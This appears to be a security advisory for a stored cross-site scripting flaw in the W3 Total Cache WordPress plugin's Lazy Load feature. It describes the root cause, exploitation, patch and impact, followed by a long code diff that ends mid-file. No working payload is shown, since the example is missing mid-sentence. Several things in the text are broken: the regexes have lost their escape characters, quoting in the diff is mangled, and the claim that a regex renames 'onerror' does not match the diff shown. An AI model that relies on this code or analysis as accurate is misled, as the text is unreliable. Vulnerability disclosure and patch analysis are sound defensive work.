Published : August 13, 2026

CVE-2026-18109: W3 Total Cache <= 2.10.3 Unauthenticated Stored Cross-Site Scripting via Comment Author Name PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.10.3
Patched Version 2.10.4
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18109: The W3 Total Cache plugin for WordPress, versions up to and including 2.10.3, contains a stored cross-site scripting (XSS) vulnerability. The flaw arises from the improper rewriting of HTML img tags by the Lazy Load feature, which re-emits comment author names without sufficient sanitization or output escaping. An unauthenticated attacker can inject arbitrary web scripts by submitting a crafted comment, and these scripts will execute when another user views the affected page. The vulnerability carries a CVSS score of 7.2 (High).

Root Cause: The root cause lies in the UserExperience_LazyLoad_Mutator.php file. Within the tag_img_content_replace() and get_dimensions() functions, the plugin uses a regular expression to extract and rewrite the src attribute of an img tag. The vulnerable regex, ‘/~(s)src=(‘([^’]*)’|”([^”]*)”|([^'”][^s]*))~is’, is too permissive. When an attacker injects a comment containing an img tag with a JavaScript payload in the src attribute, such as , the regex matches the ‘src=x’ portion but fails to properly handle the subsequent ‘onerror’ attribute. The payload is then incorporated into the img tag’s src attribute and re-emitted into the HTML without proper escaping. The patched code in version 2.10.4 replaces this inline regex with new methods, replace_top_level_quoted_attributes() and get_top_level_quoted_attribute_value(), which use a stateful scanner (is_outside_attribute_value()) to correctly parse top-level attributes and prevent the extraction of values nested within other attributes. This change also modifies the placeholder() function to generate a safer, URL-encoded SVG data URI.

Exploitation: An unauthenticated attacker can exploit this by submitting a comment on a blog post that supports comments. The comment content must include a crafted HTML img tag with a JavaScript payload. For instance, the payload is a common vector. The Lazy Load feature, when enabled, processes this img tag through the vulnerable tag_img_content_replace() function. The first regex, which targets the src attribute, incorrectly matches the ‘src=x’ part. Following this, the second regex incorrectly renames the ‘onerror’ attribute to ‘data-onerror’, but the original payload is left unescaped within the src attribute. When the page is loaded by a victim, the browser parses the modified tag, and the injected JavaScript executes. An attacker can use this to steal session cookies, deface the site, or perform other malicious actions in the context of the victim’s session.

Patch Analysis: The patch in version 2.10.4 introduces a stateful parsing mechanism in UserExperience_LazyLoad_Mutator.php. The new methods, replace_top_level_quoted_attributes() and get_top_level_quoted_attribute_value(), utilize a private helper, is_outside_attribute_value(), which scans a string character-by-character to determine whether a matched attribute is at the top level of the tag, outside of any other quoted value. This prevents the rewriting or extraction of attributes that are embedded within a different attribute’s value. The previous regex-based approach lacked this state, allowing it to misinterpret parts of an attacker-controlled attribute as a separate, top-level attribute. Additionally, the patch improves the placeholder() function to use rawurlencode() on the entire SVG string, ensuring the generated data URI is properly encoded and cannot be abused for injection.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a logged-in user’s browser. This can lead to session hijacking, account takeover, or the defacement of pages. If a user with administrative privileges visits an infected page, the attacker could potentially create new administrator accounts, inject backdoors, or modify site content, leading to a full compromise of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/w3-total-cache/Generic_AdminActions_Flush.php
+++ b/w3-total-cache/Generic_AdminActions_Flush.php
@@ -259,6 +259,10 @@
 	 */
 	public function w3tc_flush_post() {
 		$post_id = Util_Request::get_integer( 'post_id' );
+		if ( $post_id <= 0 ) {
+			$post_id = (int) Util_Environment::detect_post_id();
+		}
+
 		w3tc_flush_post( $post_id, true, array( 'ui_action' => 'flush_button' ) );

 		$this->_redirect_after_flush( 'pgcache_purge_post', __( 'purge Page cache for post', 'w3-total-cache' ) );
--- a/w3-total-cache/Generic_Plugin.php
+++ b/w3-total-cache/Generic_Plugin.php
@@ -560,46 +560,52 @@
 	public function admin_bar_menu() {
 		global $wp_admin_bar;

+		$is_full_admin = current_user_can( 'manage_options' );
+
 		/**
-		 * Hard floor at `manage_options` so the `w3tc_capability_admin_bar`
-		 * filter cannot downgrade the admin bar to lower-capability users
-		 * (consistent with the floor applied at every other
-		 * `w3tc_capability_*` filter site).
+		 * Full Performance menu for manage_options; otherwise a purge-only
+		 * subset when the user has a filterable purge capability.
+		 *
+		 * @since 2.10.4
 		 */
-		if ( ! current_user_can( 'manage_options' ) ) {
+		if ( ! $is_full_admin && ! Util_Capability::user_can_purge_anything() ) {
 			return;
 		}

-		$base_capability = apply_filters( 'w3tc_capability_admin_bar', 'manage_options' );
-
-		if ( current_user_can( $base_capability ) ) {
-			$w3tc_modules = Dispatcher::component( 'ModuleStatus' );
+		$base_capability = Util_Capability::sanitize_capability(
+			apply_filters( 'w3tc_capability_admin_bar', 'manage_options' )
+		);

-			$menu_items = array();
+		if ( ! $is_full_admin && ! current_user_can( $base_capability ) && ! Util_Capability::user_can_purge_anything() ) {
+			return;
+		}

-			$menu_items['00010.generic'] = array(
-				'id'    => 'w3tc',
-				'title' => sprintf(
-					'<span class="w3tc-icon ab-icon"></span><span class="ab-label">%s</span>',
-					__( 'Performance', 'w3-total-cache' )
-				),
-				'href'  => network_admin_url( 'admin.php?page=w3tc_dashboard' ),
-			);
+		$w3tc_modules = Dispatcher::component( 'ModuleStatus' );
+		$menu_items   = array();

-			$current_page = Util_Request::get_string( 'page', 'w3tc_dashboard' );
+		$menu_items['00010.generic'] = array(
+			'id'    => 'w3tc',
+			'title' => sprintf(
+				'<span class="w3tc-icon ab-icon"></span><span class="ab-label">%s</span>',
+				__( 'Performance', 'w3-total-cache' )
+			),
+			'href'  => $is_full_admin
+				? network_admin_url( 'admin.php?page=w3tc_dashboard' )
+				: false,
+		);

-			if ( $w3tc_modules->plugin_is_enabled() ) {
+		if ( $w3tc_modules->plugin_is_enabled() ) {
+			if ( $is_full_admin || Util_Capability::can_flush_all() ) {
 				$menu_items['10010.generic'] = array(
 					'id'     => 'w3tc_flush_all',
 					'parent' => 'w3tc',
 					'title'  => __( 'Purge All Caches', 'w3-total-cache' ),
-					'href'   => Util_Nonce::admin_nonce_url(
-						network_admin_url( 'admin.php?page=' . $current_page . '&w3tc_flush_all' ),
-						'w3tc_flush_all'
-					),
+					'href'   => Util_Capability::purge_action_url( 'w3tc_flush_all' ),
 				);
+			}

-				// Add menu item to flush all cached except Cloudflare.
+			// Cloudflare except-cf and Purge Modules: full admin only.
+			if ( $is_full_admin ) {
 				if (
 					$this->_config->get_boolean( 'cdnfsd.enabled' ) &&
 					'cloudflare' === $this->_config->get_string( 'cdnfsd.engine' ) &&
@@ -626,26 +632,37 @@
 						),
 					);
 				}
+			}
+
+			if ( ! is_admin() ) {
+				$post_id = (int) Util_Environment::detect_post_id();

-				if ( ! is_admin() ) {
+				if ( $post_id > 0 && ( $is_full_admin || Util_Capability::can_flush_post_id( $post_id ) ) ) {
 					$menu_items['10020.generic'] = array(
 						'id'     => 'w3tc_flush_current_page',
 						'parent' => 'w3tc',
 						'title'  => __( 'Purge Current Page', 'w3-total-cache' ),
-						'href'   => Util_Nonce::admin_nonce_url(
-							network_admin_url( 'admin.php?page=w3tc_dashboard&w3tc_flush_post&post_id=' . Util_Environment::detect_post_id() . '&force=true' ),
-							'w3tc_flush_post'
+						'href'   => Util_Capability::purge_action_url(
+							'w3tc_flush_post',
+							array(
+								'post_id' => $post_id,
+								'force'   => 'true',
+							)
 						),
 					);
 				}
+			}

+			if ( $is_full_admin ) {
 				$menu_items['20010.generic'] = array(
 					'id'     => 'w3tc_flush',
 					'parent' => 'w3tc',
 					'title'  => __( 'Purge Modules', 'w3-total-cache' ),
 				);
 			}
+		}

+		if ( $is_full_admin ) {
 			$menu_items['30000.generic'] = array(
 				'id'     => 'w3tc_feature_showcase',
 				'parent' => 'w3tc',
@@ -697,41 +714,70 @@
 					'title'  => __( 'Debug: Overlays', 'w3-total-cache' ),
 				);
 			}
+		}
+
+		$menu_items = apply_filters( 'w3tc_admin_bar_menu', $menu_items );
+
+		/**
+		 * Non-admins: keep allowlisted purge items whose href targets a
+		 * filterable purge action (extensions may reuse an allowlisted id
+		 * with a dashboard-only link).
+		 *
+		 * @since 2.10.4
+		 */
+		if ( ! $is_full_admin ) {
+			$menu_items = array_filter(
+				$menu_items,
+				static function ( $item ) {
+					return is_array( $item ) && Util_Capability::is_allowed_purge_admin_bar_item( $item );
+				}
+			);
+		}

-			$menu_items = apply_filters( 'w3tc_admin_bar_menu', $menu_items );
+		$w3tc_keys = array_keys( $menu_items );
+		asort( $w3tc_keys );

-			$w3tc_keys = array_keys( $menu_items );
-			asort( $w3tc_keys );
+		foreach ( $w3tc_keys as $w3tc_key ) {
+			$item_id = $menu_items[ $w3tc_key ]['id'];

-			foreach ( $w3tc_keys as $w3tc_key ) {
-				$capability = apply_filters(
-					'w3tc_capability_admin_bar_' . $menu_items[ $w3tc_key ]['id'],
-					$base_capability
-				);
+			if ( 'w3tc' === $item_id ) {
+				$default_cap = $is_full_admin
+					? $base_capability
+					: Util_Capability::admin_bar_parent_capability();
+			} elseif ( 'w3tc_flush_all' === $item_id ) {
+				$default_cap = Util_Capability::flush_all_capability();
+			} elseif ( 'w3tc_flush_current_page' === $item_id ) {
+				$default_cap = Util_Capability::flush_post_capability();
+			} else {
+				$default_cap = $base_capability;
+			}

-				if ( current_user_can( $capability ) ) {
-					$wp_admin_bar->add_menu( $menu_items[ $w3tc_key ] );
-				}
+			$capability = Util_Capability::sanitize_capability(
+				apply_filters( 'w3tc_capability_admin_bar_' . $item_id, $default_cap )
+			);
+
+			if ( current_user_can( $capability ) ) {
+				$wp_admin_bar->add_menu( $menu_items[ $w3tc_key ] );
 			}
+		}

-			if ( ! is_admin() && ! is_null( $this->frontend_notice ) && ! empty( $this->frontend_notice['messages'] ) ) {
-				$sanitized_messages = array_map( 'wp_strip_all_tags', $this->frontend_notice['messages'] );
-				$w3tc_label         = esc_html( wp_html_excerpt( implode( ' ', $sanitized_messages ), 120, '…' ) );
-
-				if ( '' !== $w3tc_label ) {
-					$wp_admin_bar->add_menu(
-						array(
-							'id'     => 'w3tc_frontend_notice',
-							'parent' => 'top-secondary',
-							'title'  => $w3tc_label . '<span class="w3tc-frontend-notice-dismiss" role="button" aria-label="' . esc_attr__( 'Dismiss notice', 'w3-total-cache' ) . '">×</span>',
-							'href'   => false,
-							'meta'   => array(
-								'class' => 'w3tc-frontend-notice w3tc-frontend-notice-' . $this->frontend_notice['type'],
-								'title' => $w3tc_label,
-							),
-						)
-					);
-				}
+		if ( $is_full_admin && ! is_admin() && ! is_null( $this->frontend_notice ) && ! empty( $this->frontend_notice['messages'] ) ) {
+			$sanitized_messages = array_map( 'wp_strip_all_tags', $this->frontend_notice['messages'] );
+			$w3tc_label         = esc_html( wp_html_excerpt( implode( ' ', $sanitized_messages ), 120, '…' ) );
+
+			if ( '' !== $w3tc_label ) {
+				$wp_admin_bar->add_menu(
+					array(
+						'id'     => 'w3tc_frontend_notice',
+						'parent' => 'top-secondary',
+						'title'  => $w3tc_label . '<span class="w3tc-frontend-notice-dismiss" role="button" aria-label="' . esc_attr__( 'Dismiss notice', 'w3-total-cache' ) . '">×</span>',
+						'href'   => false,
+						'meta'   => array(
+							'class' => 'w3tc-frontend-notice w3tc-frontend-notice-' . $this->frontend_notice['type'],
+							'title' => $w3tc_label,
+						),
+					)
+				);
 			}
 		}
 	}
--- a/w3-total-cache/Generic_Plugin_Admin.php
+++ b/w3-total-cache/Generic_Plugin_Admin.php
@@ -62,6 +62,7 @@

 		add_filter( 'w3tc_save_options', array( $this, 'w3tc_save_options' ) );

+		add_action( 'admin_init', array( $this, 'maybe_execute_purge_action' ), 1 );
 		add_action( 'admin_init', array( $this, 'admin_init' ) );
 		add_action( 'admin_init_w3tc_dashboard', array( 'W3TCGeneric_WidgetAccount', 'admin_init_w3tc_dashboard' ) );
 		add_action( 'admin_init_w3tc_dashboard', array( 'W3TCGeneric_WidgetSettings', 'admin_init_w3tc_dashboard' ) );
@@ -126,16 +127,15 @@
 	}

 	/**
-	 * Load action
+	 * Detect a dispatchable admin-action key from the current request.
 	 *
-	 * @return void
+	 * @since 2.10.4
+	 *
+	 * @param Root_AdminActions $executor Action executor.
+	 *
+	 * @return string|false Handler key or false.
 	 */
-	public function load() {
-		$this->add_help_tabs();
-		$this->_page = Util_Admin::get_current_page();
-
-		// Run plugin action.
-		$action            = false;
+	private function detect_admin_action( Root_AdminActions $executor ) {
 		$display_only_keys = array(
 			'w3tc_note',
 			'w3tc_error',
@@ -143,8 +143,6 @@
 			'w3tc_message_action',
 		);

-		$executor = new Root_AdminActions();
-
 		/**
 		 * Resolve the handler key from POST on form submissions so a stale
 		 * `w3tc_*` query arg left on the URL cannot shadow the clicked submit
@@ -171,12 +169,63 @@
 				}

 				if ( $executor->is_dispatchable( $w3tc_key ) ) {
-					$action = $w3tc_key;
-					break 2;
+					return $w3tc_key;
 				}
 			}
 		}

+		return false;
+	}
+
+	/**
+	 * Execute allowlisted purge actions on admin_init (no W3TC menu required).
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return void
+	 */
+	public function maybe_execute_purge_action() {
+		$executor = new Root_AdminActions();
+		$action   = $this->detect_admin_action( $executor );
+
+		if ( ! $action || ! Util_Capability::is_purge_action( $action ) ) {
+			return;
+		}
+
+		if ( ! Util_Nonce::verify_admin( Util_Nonce::admin_action( $action ) ) ) {
+			wp_nonce_ays( Util_Nonce::admin_action( $action ) );
+		}
+
+		if ( ! Util_Capability::can_execute_purge( $action ) ) {
+			wp_die(
+				esc_html__( 'You do not have sufficient permissions to perform this action.', 'w3-total-cache' ),
+				'',
+				array( 'response' => 403 )
+			);
+		}
+
+		try {
+			$executor->execute( $action );
+		} catch ( Exception $e ) {
+			$w3tc_key = 'admin_action_failed_' . $action;
+			Util_Admin::redirect_with_custom_messages( array(), array( $w3tc_key => $e->getMessage() ) );
+		}
+
+		exit();
+	}
+
+	/**
+	 * Load action
+	 *
+	 * @return void
+	 */
+	public function load() {
+		$this->add_help_tabs();
+		$this->_page = Util_Admin::get_current_page();
+
+		$executor = new Root_AdminActions();
+		$action   = $this->detect_admin_action( $executor );
+
 		if ( $action ) {
 			/**
 			 * Per-action nonce key for the admin-action dispatcher.
@@ -188,13 +237,21 @@
 			}

 			/**
-			 * Defence-in-depth: enforce manage_options at the dispatcher
-			 * regardless of how the menu was registered or how
-			 * w3tc_capability_menu was filtered.
+			 * Purge allowlist uses filterable caps; all other admin actions
+			 * keep the manage_options floor.
 			 *
 			 * @since 2.10.0
+			 * @since 2.10.4 Purge allowlist exception.
 			 */
-			if ( ! current_user_can( 'manage_options' ) ) {
+			if ( Util_Capability::is_purge_action( $action ) ) {
+				if ( ! Util_Capability::can_execute_purge( $action ) ) {
+					wp_die(
+						esc_html__( 'You do not have sufficient permissions to perform this action.', 'w3-total-cache' ),
+						'',
+						array( 'response' => 403 )
+					);
+				}
+			} elseif ( ! current_user_can( 'manage_options' ) ) {
 				wp_die(
 					esc_html__( 'You do not have sufficient permissions to perform this action.', 'w3-total-cache' ),
 					'',
@@ -1155,26 +1212,17 @@
 	 */
 	public function favorite_actions( $actions ) {
 		/**
-		 * Floor the filterable cap at manage_options so a downstream
-		 * filter cannot expose the "Empty Caches" favorite action to
-		 * non-admins.
-		 *
-		 * Early-return when the current user is not an admin: there is no
-		 * reason to compute or filter a capability for an action we would
-		 * never expose to them anyway.
+		 * Filterable purge-all capability (default manage_options).
 		 *
-		 * @since 2.10.0
+		 * @since 2.10.4
 		 */
-		if ( ! current_user_can( 'manage_options' ) ) {
+		if ( ! Util_Capability::can_flush_all() ) {
 			return $actions;
 		}

-		$capability = apply_filters( 'w3tc_capability_favorite_action_flush_all', 'manage_options' );
-		if ( empty( $capability ) ) {
-			$capability = 'manage_options';
-		}
+		$capability = Util_Capability::flush_all_capability();

-		$actions[ Util_Nonce::admin_nonce_url( network_admin_url( 'admin.php?page=w3tc_dashboard&w3tc_flush_all' ), 'w3tc_flush_all' ) ] = array(
+		$actions[ Util_Capability::purge_action_url( 'w3tc_flush_all' ) ] = array(
 			__( 'Empty Caches', 'w3-total-cache' ),
 			$capability,
 		);
--- a/w3-total-cache/Generic_Plugin_AdminRowActions.php
+++ b/w3-total-cache/Generic_Plugin_AdminRowActions.php
@@ -34,38 +34,7 @@
 	 * @return array
 	 */
 	public function post_row_actions( $actions, $post ) {
-		$capability = apply_filters( 'w3tc_capability_row_action_w3tc_flush_post', 'manage_options' );
-
-		/**
-		 * Floor the filterable cap at manage_options to prevent a
-		 * downstream filter from exposing the row action to non-admins
-		 *.
-		 *
-		 * @since 2.10.0
-		 */
-		if ( empty( $capability ) || ! current_user_can( 'manage_options' ) ) {
-			return $actions;
-		}
-
-		if ( current_user_can( $capability ) ) {
-			$actions = array_merge(
-				$actions,
-				array(
-					'w3tc_flush_post' => sprintf(
-						'<a href="%s">' . __( 'Purge from cache', 'w3-total-cache' ) . '</a>',
-						Util_Nonce::admin_nonce_url(
-							sprintf(
-								'admin.php?page=w3tc_dashboard&w3tc_flush_post&post_id=%d&force=true',
-								$post->ID
-							),
-							'w3tc_flush_post'
-						)
-					),
-				)
-			);
-		}
-
-		return $actions;
+		return $this->add_flush_post_row_action( $actions, $post );
 	}

 	/**
@@ -77,36 +46,42 @@
 	 * @return array
 	 */
 	public function page_row_actions( $actions, $post ) {
-		$capability = apply_filters( 'w3tc_capability_row_action_w3tc_flush_post', 'manage_options' );
+		return $this->add_flush_post_row_action( $actions, $post );
+	}

-		/**
-		 * Floor the filterable cap at manage_options to prevent a
-		 * downstream filter from exposing the row action to non-admins
-		 *.
-		 *
-		 * @since 2.10.0
-		 */
-		if ( empty( $capability ) || ! current_user_can( 'manage_options' ) ) {
+	/**
+	 * Append Purge from cache when the user may flush this post.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param array  $actions Actions.
+	 * @param object $post    Post.
+	 *
+	 * @return array
+	 */
+	private function add_flush_post_row_action( $actions, $post ) {
+		if ( ! isset( $post->ID ) || ! Util_Capability::can_flush_post_id( (int) $post->ID ) ) {
 			return $actions;
 		}

-		if ( current_user_can( $capability ) ) {
-			$actions = array_merge(
-				$actions,
-				array(
-					'w3tc_flush_post' => sprintf(
-						'<a href="%s">' . __( 'Purge from cache', 'w3-total-cache' ) . '</a>',
-						Util_Nonce::admin_nonce_url(
-							sprintf(
-								'admin.php?page=w3tc_dashboard&w3tc_flush_post&post_id=%d&force=true',
-								$post->ID
-							),
-							'w3tc_flush_post'
+		$actions = array_merge(
+			$actions,
+			array(
+				'w3tc_flush_post' => sprintf(
+					'<a href="%s">%s</a>',
+					esc_url(
+						Util_Capability::purge_action_url(
+							'w3tc_flush_post',
+							array(
+								'post_id' => (int) $post->ID,
+								'force'   => 'true',
+							)
 						)
 					),
-				)
-			);
-		}
+					esc_html__( 'Purge from cache', 'w3-total-cache' )
+				),
+			)
+		);

 		return $actions;
 	}
@@ -117,24 +92,24 @@
 	 * @return void
 	 */
 	public function post_submitbox_start() {
-		if ( current_user_can( 'manage_options' ) ) {
-			global $post;
-			if ( ! is_null( $post ) ) {
-				$w3tc_url = Util_Ui::url(
-					array(
-						'page'            => 'w3tc_dashboard',
-						'w3tc_flush_post' => 'y',
-						'post_id'         => $post->ID,
-						'force'           => true,
-					)
-				);
+		global $post;

-				printf(
-					'<div><a href="%s">%s</a></div>',
-					esc_url( $w3tc_url ),
-					esc_html__( 'Purge from cache', 'w3-total-cache' )
-				);
-			}
+		if ( is_null( $post ) || ! Util_Capability::can_flush_post_id( (int) $post->ID ) ) {
+			return;
 		}
+
+		printf(
+			'<div><a href="%s">%s</a></div>',
+			esc_url(
+				Util_Capability::purge_action_url(
+					'w3tc_flush_post',
+					array(
+						'post_id' => (int) $post->ID,
+						'force'   => 'true',
+					)
+				)
+			),
+			esc_html__( 'Purge from cache', 'w3-total-cache' )
+		);
 	}
 }
--- a/w3-total-cache/UserExperience_LazyLoad_Mutator.php
+++ b/w3-total-cache/UserExperience_LazyLoad_Mutator.php
@@ -157,21 +157,25 @@
 	 * @return string The modified <img> tag.
 	 */
 	public function tag_img_content_replace( $content, $dim ) {
-		// do replace.
-		$w3tc_count = 0;
-		$content    = preg_replace(
-			'~(s)src=~is',
-			'$1src="' . $this->placeholder( $dim['w'], $dim['h'] ) . '" data-src=',
+		$placeholder = $this->placeholder( $dim['w'], $dim['h'] );
+		$w3tc_count  = 0;
+		$content     = $this->replace_top_level_quoted_attributes(
 			$content,
-			-1,
+			'src',
+			static function ( $whitespace, $name, $quoted_value ) use ( $placeholder ) {
+				return $whitespace . 'src="' . $placeholder . '" data-src=' . $quoted_value;
+			},
+			1,
 			$w3tc_count
 		);

 		if ( $w3tc_count > 0 ) {
-			$content = preg_replace(
-				'~(s)(srcset|sizes)=~is',
-				'$1data-$2=',
-				$content
+			$content = $this->replace_top_level_quoted_attributes(
+				$content,
+				'srcset|sizes',
+				static function ( $whitespace, $name, $quoted_value ) {
+					return $whitespace . 'data-' . $name . '=' . $quoted_value;
+				}
 			);

 			$content        = $this->add_class_lazy( $content );
@@ -206,18 +210,11 @@
 		}

 		// if not in attributes - try to find via url.
-		if (
-			! preg_match(
-				'~ssrc=('([^']*)'|"([^"]*)"|([^'"][^\s]*))~is',
-				$content,
-				$m
-			)
-		) {
+		$w3tc_url = $this->get_top_level_quoted_attribute_value( $content, 'src' );
+		if ( null === $w3tc_url ) {
 			return $dim;
 		}

-		$w3tc_url = ( ! empty( $m[4] ) ? $m[4] : ( ( ! empty( $m[3] ) ? $m[3] : $m[2] ) ) );
-
 		// full url found.
 		if ( isset( $this->posts_by_url[ $w3tc_url ] ) ) {
 			$post_id = $this->posts_by_url[ $w3tc_url ];
@@ -401,7 +398,128 @@
 	 * @return string The SVG placeholder.
 	 */
 	public function placeholder( $w, $h ) {
-		return 'data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20' .
-			$w . '%20' . $h . ''%3E%3C/svg%3E';
+		$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ' .
+			(int) $w . ' ' . (int) $h . '"></svg>';
+
+		return 'data:image/svg+xml,' . rawurlencode( $svg );
+	}
+
+	/**
+	 * Replace top-level quoted attributes, skipping matches inside other attribute values.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string   $content      Tag markup to rewrite.
+	 * @param string   $attr_pattern Attribute name or alternation (e.g. `src` or `srcset|sizes`).
+	 * @param callable $replacer     Callback `( $whitespace, $name, $quoted_value ) => string`.
+	 * @param int      $limit        Max replacements; -1 for all.
+	 * @param int      $count        Set to the number of replacements performed.
+	 *
+	 * @return string
+	 */
+	public function replace_top_level_quoted_attributes( $content, $attr_pattern, $replacer, $limit = -1, &$count = 0 ) {
+		$count = 0;
+
+		if ( ! preg_match_all(
+			'~(s)(' . $attr_pattern . ')=('([^']*)'|"([^"]*)")~is',
+			$content,
+			$matches,
+			PREG_OFFSET_CAPTURE
+		) ) {
+			return $content;
+		}
+
+		$replacements = array();
+		foreach ( $matches[0] as $i => $full ) {
+			if ( $limit >= 0 && count( $replacements ) >= $limit ) {
+				break;
+			}
+
+			$offset = $full[1];
+			if ( ! $this->is_outside_attribute_value( $content, $offset ) ) {
+				continue;
+			}
+
+			$replacements[] = array(
+				'offset'      => $offset,
+				'length'      => strlen( $full[0] ),
+				'replacement' => call_user_func(
+					$replacer,
+					$matches[1][ $i ][0],
+					$matches[2][ $i ][0],
+					$matches[3][ $i ][0]
+				),
+			);
+		}
+
+		for ( $i = count( $replacements ) - 1; $i >= 0; $i-- ) {
+			$content = substr_replace(
+				$content,
+				$replacements[ $i ]['replacement'],
+				$replacements[ $i ]['offset'],
+				$replacements[ $i ]['length']
+			);
+			++$count;
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Read the first top-level quoted attribute value, or null if none.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string $content Tag markup.
+	 * @param string $attr    Attribute name.
+	 *
+	 * @return string|null
+	 */
+	public function get_top_level_quoted_attribute_value( $content, $attr ) {
+		if ( ! preg_match_all(
+			'~(s)' . preg_quote( $attr, '~' ) . '=('([^']*)'|"([^"]*)")~is',
+			$content,
+			$matches,
+			PREG_OFFSET_CAPTURE
+		) ) {
+			return null;
+		}
+
+		foreach ( $matches[0] as $i => $full ) {
+			if ( ! $this->is_outside_attribute_value( $content, $full[1] ) ) {
+				continue;
+			}
+
+			$quoted = $matches[2][ $i ][0];
+			return substr( $quoted, 1, -1 );
+		}
+
+		return null;
+	}
+
+	/**
+	 * Whether the byte offset sits outside a quoted HTML attribute value.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param string $content Tag markup.
+	 * @param int    $offset  Byte offset into $content.
+	 *
+	 * @return bool
+	 */
+	private function is_outside_attribute_value( $content, $offset ) {
+		$in = null;
+		for ( $i = 0; $i < $offset; $i++ ) {
+			$ch = $content[ $i ];
+			if ( null === $in ) {
+				if ( '"' === $ch || "'" === $ch ) {
+					$in = $ch;
+				}
+			} elseif ( $ch === $in ) {
+				$in = null;
+			}
+		}
+
+		return null === $in;
 	}
 }
--- a/w3-total-cache/UserExperience_LazyLoad_Mutator_Picture.php
+++ b/w3-total-cache/UserExperience_LazyLoad_Mutator_Picture.php
@@ -87,12 +87,12 @@
 	private function tag_source( $matches ) {
 		$content = $matches[0];

-		$content = preg_replace(
-			'~(s)(srcset|sizes)=~i',
-			'$1data-$2=',
-			$content
+		return $this->common->replace_top_level_quoted_attributes(
+			$content,
+			'srcset|sizes',
+			static function ( $whitespace, $name, $quoted_value ) {
+				return $whitespace . 'data-' . $name . '=' . $quoted_value;
+			}
 		);
-
-		return $content;
 	}
 }
--- a/w3-total-cache/Util_Capability.php
+++ b/w3-total-cache/Util_Capability.php
@@ -0,0 +1,352 @@
+<?php
+/**
+ * File: Util_Capability.php
+ *
+ * Filterable cache-purge capability helpers. Default remains manage_options;
+ * settings, config save, extensions, and AJAX stay floored elsewhere.
+ *
+ * @package W3TC
+ * @since   2.10.4
+ */
+
+namespace W3TC;
+
+/**
+ * Class Util_Capability
+ *
+ * @since 2.10.4
+ */
+class Util_Capability {
+
+	/**
+	 * Admin-action keys that may use filterable purge caps.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @var string[]
+	 */
+	const PURGE_ACTIONS = array(
+		'w3tc_flush_all',
+		'w3tc_flush_post',
+		'w3tc_flush_current_page',
+	);
+
+	/**
+	 * Admin-bar menu item ids allowed for non-manage_options purge users.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @var string[]
+	 */
+	const PURGE_ADMIN_BAR_IDS = array(
+		'w3tc',
+		'w3tc_flush_all',
+		'w3tc_flush_current_page',
+	);
+
+	/**
+	 * Sanitize a filtered capability value.
+	 *
+	 * Non-string or empty values fall back to manage_options.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param mixed $capability Filtered capability.
+	 *
+	 * @return string
+	 */
+	public static function sanitize_capability( $capability ) {
+		if ( ! is_string( $capability ) || '' === $capability ) {
+			return 'manage_options';
+		}
+
+		return $capability;
+	}
+
+	/**
+	 * Capability required to purge all caches.
+	 *
+	 * Applies `w3tc_capability_admin_bar`, then `w3tc_capability_flush_all`,
+	 * then `w3tc_capability_favorite_action_flush_all`.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return string
+	 */
+	public static function flush_all_capability() {
+		/**
+		 * Legacy admin-bar base capability.
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_admin_bar', 'manage_options' );
+
+		/**
+		 * Filters the capability required to purge all caches.
+		 *
+		 * @since 2.10.4
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_flush_all', $capability );
+
+		/**
+		 * Legacy favorite-action capability filter.
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_favorite_action_flush_all', $capability );
+
+		return self::sanitize_capability( $capability );
+	}
+
+	/**
+	 * Capability required to purge a post/page (or current page).
+	 *
+	 * Applies `w3tc_capability_admin_bar`, then `w3tc_capability_flush_post`,
+	 * then `w3tc_capability_row_action_w3tc_flush_post`.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return string
+	 */
+	public static function flush_post_capability() {
+		/**
+		 * Legacy admin-bar base capability.
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_admin_bar', 'manage_options' );
+
+		/**
+		 * Filters the capability required to purge a specific post/page.
+		 *
+		 * @since 2.10.4
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_flush_post', $capability );
+
+		/**
+		 * Legacy row-action capability filter.
+		 *
+		 * @param string $capability Capability slug.
+		 */
+		$capability = apply_filters( 'w3tc_capability_row_action_w3tc_flush_post', $capability );
+
+		return self::sanitize_capability( $capability );
+	}
+
+	/**
+	 * Whether the current user may purge all caches.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return bool
+	 */
+	public static function can_flush_all() {
+		return current_user_can( self::flush_all_capability() );
+	}
+
+	/**
+	 * Whether the current user may purge posts/pages (role-level gate).
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return bool
+	 */
+	public static function can_flush_post() {
+		return current_user_can( self::flush_post_capability() );
+	}
+
+	/**
+	 * Whether the current user may purge a specific post.
+	 *
+	 * Requires the filtered flush-post capability and edit_post for the id.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @param int $post_id Post ID.
+	 *
+	 * @return bool
+	 */
+	public static function can_flush_post_id( $post_id ) {
+		$post_id = (int) $post_id;
+
+		if ( ! self::can_flush_post() ) {
+			return false;
+		}
+
+		if ( $post_id <= 0 ) {
+			return false;
+		}
+
+		return current_user_can( 'edit_post', $post_id );
+	}
+
+	/**
+	 * Whether the current user has any purge privilege.
+	 *
+	 * @since 2.10.4
+	 *
+	 * @return bool
+	 */
